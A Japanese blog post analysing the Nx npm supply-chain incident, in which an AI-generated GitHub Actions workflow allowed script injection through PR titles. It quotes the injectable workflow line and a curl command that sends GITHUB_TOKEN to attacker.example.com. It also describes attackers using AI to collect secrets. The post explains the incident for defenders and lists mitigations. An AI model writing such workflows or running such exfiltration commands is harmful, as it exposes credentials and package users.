3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

AIが書いたCI設定がクラッキングを招いた話

Last updated at Posted at 2025-09-09

はじめに

趣味でCTF(競技ハッキング)で遊んでいるI.Kentです。
今年の8月末にNxというOSSにおいて、興味深いインシデント事例が報告されましたので共有します

内容と被害

  • 被害者はNxというJS向けのOSSのモノレポ管理ツール
  • 攻撃は既知の脆弱性を用いて行われた
    • 有名な脆弱性であり、セキュリティ体制が整っていれば防げた
  • Script Injection による GitHub Actions の侵害
    • 脆弱な GitHub Actions ワークフローをマージ
    • 既定の GITHUB_TOKEN の問題
  • NPM_TOKEN の漏洩とサプライチェーン攻撃
    • AIを用いて秘密鍵の収集
  • 6時間で900人以上の被害

インシデントの詳細

前提知識

  • Github Actionには Script Injectionが存在する
  • 2023年以前のレポジトリでは、明示的な指定がない場合pull_request_targetを実行すると read/write権限の GITHUB_TOKENが発行される
  • プロジェクト内の人が、既知の脆弱性があるGithub Actionをマージ
    • echo "Validating PR title: ${{ github.event.pull_request.title }}"
      node ./scripts/commit-lint.js /tmp/pr-message.txt
    • on:
      pull_request: types: [opened, edited, synchronize, reopened]
      pull_request_target: types: [opened, edited, synchronize, reopened]
    • permissionsの指定がなく、read/write を持った GITHUB_TOKENでPRが実行される
  • 脆弱性を発見した攻撃者が、インジェクションを利用してGithubトークンを取得
    • curl -X POST https://attacker.example.com -d "token=${GITHUB_TOKEN}"
    • 攻撃者はGithub上のファイルを操作する権限を取得
  • 取得したGithubトークンを使ってリリース用ワークフローを編集
  • Nxチームの保有するNPM_TOKENを取得する
    • (NPM_TOKEN は npm にパッケージを公開するための認証キー)
  • 攻撃者が汚染パッケージを配布
    • AIを用いてローカルにある秘密情報を抜いて、集めた情報をリポジトリに公開
  • 現在攻撃者は、パッケージをインストールした開発者から盗んだシークレットを使って、二次的な攻撃につなげているよう
    • Private Repo を Public に公開したり、それを Fork して継続して情報を盗んだりするなど

本事例の興味深い点

被害側・攻撃側の両方がAIを用いており、今後多発するであろうAIを用いたクラッキング事例/AIによるコーディングがセキュリティホールとなる事例の先駆けとなる事例である

  • 被害者:AIが生成した脆弱性のあるコードをマージ
    • 🤖 Generated with Claude Code
  • 攻撃者:トークン取得のコーディングや、秘密情報の取得にAIを活用
    • コーディングの高速化
    • 抜き取る秘密情報の検索アルゴリズムとしてAIを活用した

原因と対策

  • 自分が挙動を理解できてないコードをプッシュするべきでない
  • GitHub Actionsをセキュアに運用する
    • permissionの最小化
    • レビュー必須化…etc

所管

P.F.ドラッカーは著書で、失敗はいくつかのパターンに分けることができると言っていた
うろ覚えだが

  • 至極一般的なもの
  • 当事者にとっては特殊だが、世間的には一般的なもの
  • 本当に稀でその時しか起こらないもの
  • 今後も続く失敗の、最初の症状としてのもの

みたいな感じだったと思う


今回のケースは、本質的には昔からあったコピペ問題と同じだと思う。しかし、AIを用いることによって、以前より ちゃんと動くそれらしいコードが書けてしまう という点で、ミスがより手軽に、安易に起こりやすくなったのだと考える。

おそらくこの失敗はドラッカーの言うところの「今後も続く失敗の、最初の症状としてのもの」で、今後このようなミスは各所で起こるだろう
今回の事例を他山の石とし、自戒の念を持ってAI利用に努めていきたい

3
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?